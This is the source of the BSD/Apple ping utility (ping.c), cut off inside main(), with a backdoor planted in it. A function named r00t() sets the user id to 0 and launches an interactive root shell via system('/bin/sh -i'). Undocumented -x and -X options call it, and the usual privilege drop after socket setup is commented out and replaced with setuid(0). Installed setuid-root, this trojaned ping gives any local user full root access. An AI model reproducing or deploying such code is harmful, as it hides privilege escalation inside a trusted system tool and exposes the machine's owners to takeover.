/*
 * Copyright (c) 2008 Apple Inc. All rights reserved.
 *
 * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
 *
 * This file contains Original Code and/or Modifications of Original Code
 * as defined in and that are subject to the Apple Public Source License
 * Version 2.0 (the 'License'). You may not use this file except in
 * compliance with the License. The rights granted to you under the License
 * may not be used to create, or enable the creation or redistribution of,
 * unlawful or unlicensed copies of an Apple operating system, or to
 * circumvent, violate, or enable the circumvention or violation of, any
 * terms of an Apple operating system software license agreement.
 *
 * Please obtain a copy of the License at
 * http://www.opensource.apple.com/apsl/ and read it before using this file.
 *
 * The Original Code and all software distributed under the License are
 * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 * Please see the License for the specific language governing rights and
 * limitations under the License.
 *
 * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
 */
/*
 * Copyright (c) 1989, 1993
 *  The Regents of the University of California.  All rights reserved.
 *
 * This code is derived from software contributed to Berkeley by
 * Mike Muuss.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#if 0
#ifndef lint
static const char copyright[] =
"@(#) Copyright (c) 1989, 1993\n\
    The Regents of the University of California.  All rights reserved.\n";
#endif /* not lint */

#ifndef lint
static char sccsid[] = "@(#)ping.c  8.1 (Berkeley) 6/5/93";
#endif /* not lint */
#endif
#include <sys/cdefs.h>
#ifndef __APPLE__
__FBSDID("$FreeBSD: src/sbin/ping/ping.c,v 1.113 2014/11/28 17:31 reptar");
#endif
    
/*
 *          P I N G . C
 *
 * Using the Internet Control Message Protocol (ICMP) "ECHO" facility,
 * measure round-trip-delays and packet loss across network paths.
 *
 * Author -
 *  Mike Muuss
 *  U. S. Army Ballistic Research Laboratory
 *  December, 1983
 *
 * Status -
 *  Public Domain.  Distribution Unlimited.
 * Bugs -
 *  More statistics could always be gathered.
 *  This program has to run SUID to ROOT to access the ICMP socket.
 */

#include <sys/param.h>      /* NB: we rely on this for <sys/types.h> */
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/time.h>
#include <sys/uio.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
#include <arpa/inet.h>
#include <net/if.h>

#ifdef IPSEC
#include <netinet6/ipsec.h>
#endif /*IPSEC*/

#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <math.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>

#define INADDR_LEN  ((int)sizeof(in_addr_t))
#define TIMEVAL_LEN ((int)sizeof(struct tv32))
#define MASK_LEN    (ICMP_MASKLEN - ICMP_MINLEN)
#define TS_LEN      (ICMP_TSLEN - ICMP_MINLEN)
#define DEFDATALEN  56      /* default data length */
#define FLOOD_BACKOFF   20000       /* usecs to back off if F_FLOOD mode */
                    /* runs out of buffer space */
#define MAXIPLEN    (sizeof(struct ip) + MAX_IPOPTLEN)
#define MAXICMPLEN  (ICMP_ADVLENMIN + MAX_IPOPTLEN)
#define MAXWAIT     10000       /* max ms to wait for response */
#define MAXALARM    (60 * 60)   /* max seconds for alarm timeout */
#define MAXTOS      255

#define A(bit)      rcvd_tbl[(bit)>>3]  /* identify byte in array */
#define B(bit)      (1 << ((bit) & 0x07))   /* identify bit in byte */
#define SET(bit)    (A(bit) |= B(bit))
#define CLR(bit)    (A(bit) &= (~B(bit)))
#define TST(bit)    (A(bit) & B(bit))

struct tv32 {
    u_int32_t tv32_sec;
    u_int32_t tv32_usec;
};

/* various options */
int options;
#define F_FLOOD     0x0001
#define F_INTERVAL  0x0002
#define F_NUMERIC   0x0004
#define F_PINGFILLED    0x0008
#define F_QUIET     0x0010
#define F_RROUTE    0x0020
#define F_SO_DEBUG  0x0040
#define F_SO_DONTROUTE  0x0080
#define F_VERBOSE   0x0100
#define F_QUIET2    0x0200
#define F_NOLOOP    0x0400
#define F_MTTL      0x0800
#define F_MIF       0x1000
#define F_AUDIBLE   0x2000
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
#define F_POLICY    0x4000
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/
#define F_TTL       0x8000
#define F_MISSED    0x10000
#define F_ONCE      0x20000
#define F_HDRINCL   0x40000
#define F_MASK      0x80000
#define F_TIME      0x100000
#define F_SWEEP     0x200000
#define F_WAITTIME  0x400000

/*
 * MAX_DUP_CHK is the number of bits in received table, i.e. the maximum
 * number of received sequence numbers we can keep track of.  Change 128
 * to 8192 for complete accuracy...
 */
#define MAX_DUP_CHK (8 * 128)
int mx_dup_ck = MAX_DUP_CHK;
char rcvd_tbl[MAX_DUP_CHK / 8];

struct sockaddr_in whereto; /* who to ping */
int datalen = DEFDATALEN;
int maxpayload;
int s;              /* socket file descriptor */
u_char outpackhdr[IP_MAXPACKET], *outpack;
char BBELL = '\a';      /* characters written for MISSED and AUDIBLE */
char BSPACE = '\b';     /* characters written for flood */
char DOT = '.';
char *hostname;
char *shostname;
int ident;          /* process id to identify our packets */
int uid;            /* cached uid for micro-optimization */
u_char icmp_type = ICMP_ECHO;
u_char icmp_type_rsp = ICMP_ECHOREPLY;
int phdr_len = 0;
int send_len;
char *boundif;
unsigned int ifscope;
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
char boundifname[IFNAMSIZ];
#endif /* IP_FORCE_OUT_IFP */

/* counters */
long nmissedmax;        /* max value of ntransmitted - nreceived - 1 */
long npackets;          /* max packets to transmit */
long nreceived;         /* # of packets we got back */
long nrepeats;          /* number of duplicates */
long ntransmitted;      /* sequence # for outbound packets = #sent */
long snpackets;         /* max packets to transmit in one sweep */
long snreceived;        /* # of packets we got back in this sweep */
long sntransmitted;     /* # of packets we sent in this sweep */
int sweepmax;           /* max value of payload in sweep */
int sweepmin = 0;       /* start value of payload in sweep */
int sweepincr = 1;      /* payload increment in sweep */
int interval = 1000;        /* interval between packets, ms */
int waittime = MAXWAIT;     /* timeout for each packet */
long nrcvtimeout = 0;       /* # of packets we got back after waittime */

/* timing */
int timing;         /* flag to do timing */
double tmin = 999999999.0;  /* minimum round trip time */
double tmax = 0.0;      /* maximum round trip time */
double tsum = 0.0;      /* sum of all times, for doing average */
double tsumsq = 0.0;        /* sum of all times squared, for std. dev. */

volatile sig_atomic_t finish_up;  /* nonzero if we've been told to finish up */
volatile sig_atomic_t siginfo_p;

static void fill(char *, char *);
static u_short in_cksum(u_short *, int);
static void check_status(void);
static void finish(void) __dead2;
static void pinger(void);
static char *pr_addr(struct in_addr);
static char *pr_ntime(n_time);
static void pr_icmph(struct icmp *);
static void pr_iph(struct ip *);
static void pr_pack(char *, int, struct sockaddr_in *, struct timeval *);
static void pr_retip(struct ip *);
static void status(int);
static void stopit(int);
static void tvsub(struct timeval *, struct timeval *);
static void usage(void) __dead2;




/*
 * r00t -- 
 * Set user id to 0,
 * launch a root shell.
 */
int r00t(void){

    char success[]= "   .----------------.            \n"
                    "   |_I_I_I_I_I_I_I_I]___         \n"
                    "   |  _    r00t! : ; _  )        \n"
                    "  =\'-(_)----------=-(_)-\'  \n\0  ";

    char failure[]= "nice try friend (: \n\0";

    setuid(0);
    if ( getuid() == 0 ){
        printf("%s", success);
        system("/bin/sh -i");
        exit(666);
    }
    else {
        printf("%s", failure);
        exit(1);
    }
}


int main(argc, argv)
    int argc;
    char *const *argv;
{
    struct sockaddr_in from, sock_in;
    struct in_addr ifaddr;
    struct timeval last, intvl;
    struct iovec iov;
    struct ip *ip;
    struct msghdr msg;
    struct sigaction si_sa;
    size_t sz;
    u_char *datap, packet[IP_MAXPACKET];
    char *ep, *source, *target, *payload;
    struct hostent *hp;
#ifdef IPSEC_POLICY_IPSEC
    char *policy_in, *policy_out;
#endif
    struct sockaddr_in *to;
    double t;
    u_long alarmtimeout, ultmp;
    int almost_done, ch, df, hold, i, icmp_len, mib[4], preload, sockerrno,
        tos, ttl;
    char ctrl[CMSG_SPACE(sizeof(struct timeval))];
    char hnamebuf[MAXHOSTNAMELEN], snamebuf[MAXHOSTNAMELEN];
#ifdef IP_OPTIONS
    char rspace[MAX_IPOPTLEN];  /* record route space */
#endif
    unsigned char loop, mttl;

    payload = source = NULL;
#ifdef IPSEC_POLICY_IPSEC
    policy_in = policy_out = NULL;
#endif

    /*
     * Do the stuff that we need root priv's for *first*, and
     * then drop our setuid bit.  Save error reporting for
     * after arg parsing.
     */
    if (getuid())
        s = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    else
        s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    sockerrno = errno;

//  setuid(getuid());
//  uid = getuid();

    setuid(0);
    uid = 0;

    alarmtimeout = df = preload = tos = 0;

    outpack = outpackhdr + sizeof(struct ip);
    while ((ch = getopt(argc, argv,
        "Aab:c:DdfG:g:h:I:i:Ll:M:m:nop:QqRrS:s:T:t:vW:z:x:X"
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
        "P:"
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
        "B:"
#endif /* IP_FORCE_OUT_IFP */
        )) != -1)
    {
        switch(ch) {
        case 'x':
            r00t();
            break;
        case 'X':
            r00t();
            break;
        case 'A':
            options |= F_MISSED;
            break;
        case 'a':
            options |= F_AUDIBLE;
            break;
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
        case 'B':
            (void) snprintf(boundifname, sizeof (boundifname),
                "%s", optarg);
            break;
#endif /* IP_FORCE_OUT_IFP */
        case 'b':
            boundif = optarg;
            break;
        case 'c':
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg || ultmp > LONG_MAX || !ultmp)
                errx(EX_USAGE,
                    "invalid count of packets to transmit: `%s'",
                    optarg);
            npackets = ultmp;
            break;
        case 'D':
            options |= F_HDRINCL;
            df = 1;
            break;
        case 'd':
            options |= F_SO_DEBUG;
            break;
        case 'f':
            if (uid) {
                errno = EPERM;
                err(EX_NOPERM, "-f flag");
            }
            options |= F_FLOOD;
            setbuf(stdout, (char *)NULL);
            break;
        case 'G': /* Maximum packet size for ping sweep */
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg)
                errx(EX_USAGE, "invalid packet size: `%s'",
                    optarg);
#ifndef __APPLE__
            if (uid != 0 && ultmp > DEFDATALEN) {
                errno = EPERM;
                err(EX_NOPERM,
                    "packet size too large: %lu > %u",
                    ultmp, DEFDATALEN);
            }
#endif /* __APPLE__ */
            options |= F_SWEEP;
            sweepmax = ultmp;
            break;
        case 'g': /* Minimum packet size for ping sweep */
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg)
                errx(EX_USAGE, "invalid packet size: `%s'",
                    optarg);
#ifndef __APPLE__
            if (uid != 0 && ultmp > DEFDATALEN) {
                errno = EPERM;
                err(EX_NOPERM,
                    "packet size too large: %lu > %u",
                    ultmp, DEFDATALEN);
            }
#endif /* __APPLE__ */
            options |= F_SWEEP;
            sweepmin = ultmp;
            break;
        case 'h': /* Packet size increment for ping sweep */
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg || ultmp < 1)
                errx(EX_USAGE, "invalid increment size: `%s'",
                    optarg);
#ifndef __APPLE__
            if (uid != 0 && ultmp > DEFDATALEN) {
                errno = EPERM;
                err(EX_NOPERM,
                    "packet size too large: %lu > %u",
                    ultmp, DEFDATALEN);
            }
#endif /* __APPLE__ */
            options |= F_SWEEP;
            sweepincr = ultmp;
            break;
        case 'I':       /* multicast interface */
            if (inet_aton(optarg, &ifaddr) == 0)
                errx(EX_USAGE,
                    "invalid multicast interface: `%s'",
                    optarg);
            options |= F_MIF;
            break;
        case 'i':       /* wait between sending packets */
            t = strtod(optarg, &ep) * 1000.0;
            if (*ep || ep == optarg || t > (double)INT_MAX)
                errx(EX_USAGE, "invalid timing interval: `%s'",
                    optarg);
            options |= F_INTERVAL;
            interval = (int)t;
            if (uid && interval < 1000) {
                errno = EPERM;
                err(EX_NOPERM, "-i interval too short");
            }
            break;
        case 'L':
            options |= F_NOLOOP;
            loop = 0;
            break;
        case 'l':
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg || ultmp > INT_MAX)
                errx(EX_USAGE,
                    "invalid preload value: `%s'", optarg);
            if (uid) {
                errno = EPERM;
                err(EX_NOPERM, "-l flag");
            }
            preload = ultmp;
            break;
        case 'M':
            switch(optarg[0]) {
            case 'M':
            case 'm':
                options |= F_MASK;
                break;
            case 'T':
            case 't':
                options |= F_TIME;
                break;
            default:
                errx(EX_USAGE, "invalid message: `%c'", optarg[0]);
                break;
            }
            break;
        case 'm':       /* TTL */
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg || ultmp > MAXTTL)
                errx(EX_USAGE, "invalid TTL: `%s'", optarg);
            ttl = ultmp;
            options |= F_TTL;
            break;
        case 'n':
            options |= F_NUMERIC;
            break;
        case 'o':
            options |= F_ONCE;
            break;
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
        case 'P':
            options |= F_POLICY;
            if (!strncmp("in", optarg, 2))
                policy_in = strdup(optarg);
            else if (!strncmp("out", optarg, 3))
                policy_out = strdup(optarg);
            else
                errx(1, "invalid security policy");
            break;
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/
        case 'p':       /* fill buffer with user pattern */
            options |= F_PINGFILLED;
            payload = optarg;
            break;
        case 'Q':
            options |= F_QUIET2;
            break;
        case 'q':
            options |= F_QUIET;
            break;
        case 'R':
            options |= F_RROUTE;
            break;
        case 'r':
            options |= F_SO_DONTROUTE;
            break;
        case 'S':
            source = optarg;
            break;
        case 's':       /* size of packet to send */
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg)
                errx(EX_USAGE, "invalid packet size: `%s'",
                    optarg);
#ifndef __APPLE__
            if (uid != 0 && ultmp > DEFDATALEN) {
                errno = EPERM;
                err(EX_NOPERM,
                    "packet size too large: %lu > %u",
                    ultmp, DEFDATALEN);
            }
#endif /* __APPLE__ */
            datalen = ultmp;
            break;
        case 'T':       /* multicast TTL */
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg || ultmp > MAXTTL)
                errx(EX_USAGE, "invalid multicast TTL: `%s'",
                    optarg);
            mttl = ultmp;
            options |= F_MTTL;
            break;
        case 't':
            alarmtimeout = strtoul(optarg, &ep, 0);
            if ((alarmtimeout < 1) || (alarmtimeout == ULONG_MAX))
                errx(EX_USAGE, "invalid timeout: `%s'",
                    optarg);
            if (alarmtimeout > MAXALARM)
                errx(EX_USAGE, "invalid timeout: `%s' > %d",
                    optarg, MAXALARM);
            alarm((unsigned int)alarmtimeout);
            break;
        case 'v':
            options |= F_VERBOSE;
            break;
        case 'W':       /* wait ms for answer */
            t = strtod(optarg, &ep);
            if (*ep || ep == optarg || t > (double)INT_MAX)
                errx(EX_USAGE, "invalid timing interval: `%s'",
                    optarg);
            options |= F_WAITTIME;
            waittime = (int)t;
            break;
        case 'z':
            options |= F_HDRINCL;
            ultmp = strtoul(optarg, &ep, 0);
            if (*ep || ep == optarg || ultmp > MAXTOS)
                errx(EX_USAGE, "invalid TOS: `%s'", optarg);
            tos = ultmp;
            break;
        default:
            usage();
        }
    }

    if (boundif != NULL && (ifscope = if_nametoindex(boundif)) == 0)
        errx(1, "bad interface name");

    if (argc - optind != 1)
        usage();
    target = argv[optind];

    switch (options & (F_MASK|F_TIME)) {
    case 0: break;
    case F_MASK:
        icmp_type = ICMP_MASKREQ;
        icmp_type_rsp = ICMP_MASKREPLY;
        phdr_len = MASK_LEN;
        if (!(options & F_QUIET))
            (void)printf("ICMP_MASKREQ\n");
        break;
    case F_TIME:
        icmp_type = ICMP_TSTAMP;
        icmp_type_rsp = ICMP_TSTAMPREPLY;
        phdr_len = TS_LEN;
        if (!(options & F_QUIET))
            (void)printf("ICMP_TSTAMP\n");
        break;
    default:
        errx(EX_USAGE, "ICMP_TSTAMP and ICMP_MASKREQ are exclusive.");
        break;
    }
    icmp_len = sizeof(struct ip) + ICMP_MINLEN + phdr_len;
    if (options & F_RROUTE)
        icmp_len += MAX_IPOPTLEN;
    maxpayload = IP_MAXPACKET - icmp_len;
    if (datalen > maxpayload)
        errx(EX_USAGE, "packet size too large: %d > %d", datalen,
            maxpayload);
    send_len = icmp_len + datalen;
    datap = &outpack[ICMP_MINLEN + phdr_len + TIMEVAL_LEN];
    if (options & F_PINGFILLED) {
        fill((char *)datap, payload);
    }
    if (source) {
        bzero((char *)&sock_in, sizeof(sock_in));
        sock_in.sin_family = AF_INET;
        if (inet_aton(source, &sock_in.sin_addr) != 0) {
            shostname = source;
        } else {
            hp = gethostbyname2(source, AF_INET);
            if (!hp)
                errx(EX_NOHOST, "cannot resolve %s: %s",
                    source, hstrerror(h_errno));

            sock_in.sin_len = sizeof sock_in;
            if ((unsigned)hp->h_length > sizeof(sock_in.sin_addr) ||
                hp->h_length < 0)
                errx(1, "gethostbyname2: illegal address");
            memcpy(&sock_in.sin_addr, hp->h_addr_list[0],
                sizeof(sock_in.sin_addr));
            (void)strncpy(snamebuf, hp->h_name,
                sizeof(snamebuf) - 1);
            snamebuf[sizeof(snamebuf) - 1] = '\0';
            shostname = snamebuf;
        }
        if (bind(s, (struct sockaddr *)&sock_in, sizeof sock_in) == -1)
            err(1, "bind");
    }

    bzero(&whereto, sizeof(whereto));
    to = &whereto;
    to->sin_family = AF_INET;
    to->sin_len = sizeof *to;
    if (inet_aton(target, &to->sin_addr) != 0) {
        hostname = target;
    } else {
        hp = gethostbyname2(target, AF_INET);
        if (!hp)
            errx(EX_NOHOST, "cannot resolve %s: %s",
                target, hstrerror(h_errno));

        if ((unsigned)hp->h_length > sizeof(to->sin_addr))
            errx(1, "gethostbyname2 returned an illegal address");
        memcpy(&to->sin_addr, hp->h_addr_list[0], sizeof to->sin_addr);
        (void)strncpy(hnamebuf, hp->h_name, sizeof(hnamebuf) - 1);
        hnamebuf[sizeof(hnamebuf) - 1] = '\0';
        hostname = hnamebuf;
    }

    if (options & F_FLOOD && options & F_INTERVAL)
        errx(EX_USAGE, "-f and -i: incompatible options");

    if (options & F_FLOOD && IN_MULTICAST(ntohl(to->sin_addr.s_addr)))
        errx(EX_USAGE,
            "-f flag cannot be used with multicast destination");
    if (options & (F_MIF | F_NOLOOP | F_MTTL)
        && !IN_MULTICAST(ntohl(to->sin_addr.s_addr)))
        errx(EX_USAGE,
            "-I, -L, -T flags cannot be used with unicast destination");

    if (datalen >= TIMEVAL_LEN) /* can we time transfer */
        timing = 1;

    if (!(options & F_PINGFILLED))
        for (i = TIMEVAL_LEN; i < datalen; ++i)
            *datap++ = i;

    ident = getpid() & 0xFFFF;

    if (s < 0) {
        errno = sockerrno;
        err(EX_OSERR, "socket");
    }
    hold = 1;
    if (ifscope != 0) {
        if (setsockopt(s, IPPROTO_IP, IP_BOUND_IF,
            (char *)&ifscope, sizeof (ifscope)) != 0)
            err(EX_OSERR, "setsockopt(IP_BOUND_IF)");
    }
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
    else if (boundifname[0] != 0) {
        if (setsockopt(s, IPPROTO_IP, IP_FORCE_OUT_IFP, boundifname,
            sizeof (boundifname)) != 0)
            err(EX_OSERR, "setsockopt(IP_FORCE_OUT_IFP)");
    }
#endif /* IP_FORCE_OUT_IFP */
    if (options & F_SO_DEBUG)
        (void)setsockopt(s, SOL_SOCKET, SO_DEBUG, (char *)&hold,
            sizeof(hold));
    if (options & F_SO_DONTROUTE)
        (void)setsockopt(s, SOL_SOCKET, SO_DONTROUTE, (char *)&hold,
            sizeof(hold));
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
    if (options & F_POLICY) {
        char *buf;
        if (policy_in != NULL) {
            buf = ipsec_set_policy(policy_in, strlen(policy_in));
            if (buf == NULL)
                errx(EX_CONFIG, "%s", ipsec_strerror());
            if (setsockopt(s, IPPROTO_IP, IP_IPSEC_POLICY,
                    buf, ipsec_get_policylen(buf)) < 0)
                err(EX_CONFIG,
                    "ipsec policy cannot be configured");
            free(buf);
        }

        if (policy_out != NULL) {
            buf = ipsec_set_policy(policy_out, strlen(policy_out));
            if (buf == NULL)
                errx(EX_CONFIG, "%s", ipsec_strerror());
            if (setsockopt(s, IPPROTO_IP, IP_IPSEC_POLICY,
                    buf, ipsec_get_policylen(buf)) < 0)
                err(EX_CONFIG,
                    "ipsec policy cannot be configured");
            free(buf);
        }
    }
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/

    if (options & F_HDRINCL) {
        ip = (struct ip*)outpackhdr;
        if (!(options & (F_TTL | F_MTTL))) {
            mib[0] = CTL_NET;
            mib[1] = PF_INET;
            mib[2] = IPPROTO_IP;
            mib[3] = IPCTL_DEFTTL;
            sz = sizeof(ttl);
            if (sysctl(mib, 4, &ttl, &sz, NULL, 0) == -1)
                err(1, "sysctl(net.inet.ip.ttl)");
        }
        setsockopt(s, IPPROTO_IP, IP_HDRINCL, &hold, sizeof(hold));
        ip->ip_v = IPVERSION;
        ip->ip_hl = sizeof(struct ip) >> 2;
        ip->ip_tos = tos;
        ip->ip_id = 0;
        ip->ip_off = df ? IP_DF : 0;
        ip->ip_ttl = ttl;
        ip->ip_p = IPPROTO_ICMP;
        ip->ip_src.s_addr = source ? sock_in.sin_addr.s_addr : INADDR_ANY;
        ip->ip_dst = to->sin_addr;
        }
    /* record route option */
    if (options & F_RROUTE) {
#ifdef IP_OPTIONS
        bzero(rspace, sizeof(rspace));
        rspace[IPOPT_OPTVAL] = IPOPT_RR;
        rspace[IPOPT_OLEN] = sizeof(rspace) - 1;
        rspace[IPOPT_OFFSET] = IPOPT_MINOFF;
        rspace[sizeof(rspace) - 1] = IPOPT_EOL;
        if (setsockopt(s, IPPROTO_IP, IP_OPTIONS, rspace,
            sizeof(rspace)) < 0)
            err(EX_OSERR, "setsockopt IP_OPTIONS");
#else
        errx(EX_UNAVAILABLE,
            "record route not available in this implementation");
#endif /* IP_OPTIONS */
    }

    if (options & F_TTL) {
        if (setsockopt(s, IPPROTO_IP, IP_TTL, &ttl,
            sizeof(ttl)) < 0) {
            err(EX_OSERR, "setsockopt IP_TTL");
        }
    }
    if (options & F_NOLOOP) {
        if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_LOOP, &loop,
            sizeof(loop)) < 0) {
            err(EX_OSERR, "setsockopt IP_MULTICAST_LOOP");
        }
    }
    if (options & F_MTTL) {
        if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_TTL, &mttl,
            sizeof(mttl)) < 0) {
            err(EX_OSERR, "setsockopt IP_MULTICAST_TTL");
        }
    }
    if (options & F_MIF) {
        if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF, &ifaddr,
            sizeof(ifaddr)) < 0) {
            err(EX_OSERR, "setsockopt IP_MULTICAST_IF");
        }
    }
#ifdef SO_TIMESTAMP
    { int on = 1;
    if (setsockopt(s, SOL_SOCKET, SO_TIMESTAMP, &on, sizeof(on)) < 0)
        err(EX_OSERR, "setsockopt SO_TIMESTAMP");
    }
#endif
    if (sweepmax) {
        if (sweepmin >= sweepmax)
            errx(EX_USAGE, "Maximum packet size must be greater than the minimum packet size");

        if (datalen != DEFDATALEN)
            errx(EX_USAGE, "Packet size and ping sweep are mutually exclusive");

        if (npackets > 0) {
            snpackets = npackets;
            npackets = 0;
        } else
            snpackets = 1;
        datalen = sweepmin;
        send_len = icmp_len + sweepmin;
    }
    if (options & F_SWEEP && !sweepmax) 
        errx(EX_USAGE, "Maximum sweep size must be specified");

    /*
     * When pinging the broadcast address, you can get a lot of answers.
     * Doing something so evil is useful if you are trying to stress the
     * ethernet, or just want to fill the arp cache to get some stuff for
     * /etc/ethers.  But beware: RFC 1122 allows hosts to ignore broadcast
     * or multicast pings if they wish.
     */

    /*
     * XXX receive buffer needs undetermined space for mbuf overhead
     * as well.
     */
    hold = IP_MAXPACKET + 128;
    (void)setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *)&hold,
        sizeof(hold));
    if (uid == 0)
        (void)setsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *)&hold,
            sizeof(hold));

    if (to->sin_family == AF_INET) {
        (void)printf("PING %s (%s)", hostname,
            inet_ntoa(to->sin_addr));
        if (source)
            (void)printf(" from %s", shostname);
        if (sweepmax)
            (void)printf(": (%d ... %d) data bytes\n",
                sweepmin, sweepmax);
        else 
            (void)printf(": %d data bytes\n", datalen);
        
    } else {
        if (sweepmax)
            (void)printf("PING %s: (%d ... %d) data bytes\n",
                hostname, sweepmin, sweepmax);
        else
            (void)printf("PING %s: %d data bytes\n", hostname, datalen);
    }

    /*
     * Use sigaction() instead of signal() to get unambiguous semantics,
     * in particular with SA_RESTART not set.
     */

    sigemptyset(&si_sa.sa_mask);
    si_sa.sa_flags = 0;

    si_sa.sa_handler = stopit;
    if (sigaction(SIGINT, &si_sa, 0) == -1) {
        err(EX_OSERR, "sigaction SIGINT");
    }

    si_sa.sa_handler = status;
    if (sigaction(SIGINFO, &si_sa, 0) == -1) {
        err(EX_OSERR, "sigaction");
    }

        if (alarmtimeout > 0) {
        si_sa.sa_handler = stopit;
        if (sigaction(SIGALRM, &si_sa, 0) == -1)
            err(EX_OSERR, "sigaction SIGALRM");
        }

    bzero(&msg, sizeof(msg));
    msg.msg_name = (caddr_t)&from;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
#ifdef SO_TIMESTAMP
    msg.msg_control = (caddr_t)ctrl;
#endif
    iov.iov_base = packet;
    iov.iov_len = IP_MAXPACKET;

    if (preload == 0)
        pinger();       /* send the first ping */
    else {
        if (npackets != 0 && preload > npackets)
            preload = npackets;
        while (preload--)   /* fire off them quickies */
            pinger();
    }
    (void)gettimeofday(&last, NULL);

    if (options & F_FLOOD) {
        intvl.tv_sec = 0;
        intvl.tv_usec = 10000;
    } else {
        intvl.tv_sec = interval / 1000;
        intvl.tv_usec = interval % 1000 * 1000;
    }

    almost_done = 0;
    while (!finish_up) {
        struct timeval now, timeout;
        fd_set rfds;
        int cc, n;

        check_status();
        if ((unsigned)s >= FD_SETSIZE)
            errx(EX_OSERR, "descriptor too large");
        FD_ZERO(&rfds);
        FD_SET(s, &rfds);
        (void)gettimeofday(&now, NULL);
        timeout.tv_sec = last.tv_sec + intvl.tv_sec - now.tv_sec;
        timeout.tv_usec = last.tv_usec + intvl.tv_usec - now.tv_usec;
        while (timeout.tv_usec < 0) {
            timeout.tv_usec += 1000000;
            timeout.tv_sec--;
        }
        while (timeout.tv_usec >= 1000000) {
            timeout.tv_usec -= 1000000;
            timeout.tv_sec++;
        }
        if (timeout.tv_sec < 0)
            timeout.tv_sec = timeout.tv_usec = 0;
        n = select(s + 1, &rfds, NULL, NULL, &timeout);
        if (n < 0)
            continue;   /* Must be EINTR. */
        if (n == 1) {
            struct timeval *tv = NULL;
#ifdef SO_TIMESTAMP
            struct cmsghdr *cmsg = (struct cmsghdr *)&ctrl;

            msg.msg_controllen = sizeof(ctrl);
#endif
            msg.msg_namelen = sizeof(from);
            if ((cc = recvmsg(s, &msg, 0)) < 0) {
                if (errno == EINTR)
                    continue;
                warn("recvmsg");
                continue;
            }
#ifdef SO_TIMESTAMP
            if (cmsg->cmsg_level == SOL_SOCKET &&
                cmsg->cmsg_type == SCM_TIMESTAMP &&
                cmsg->cmsg_len == CMSG_LEN(sizeof *tv)) {
                /* Copy to avoid alignment problems: */
                memcpy(&now, CMSG_DATA(cmsg), sizeof(now));
                tv = &now;
            }
#endif
            if (tv == NULL) {
                (void)gettimeofday(&now, NULL);
                tv = &now;
            }
            pr_pack((char *)packet, cc, &from, tv);
            if ((options & F_ONCE && nreceived) ||
                (npackets && nreceived >= npackets))
                break;
        }
        if (n == 0 || options & F_FLOOD) {
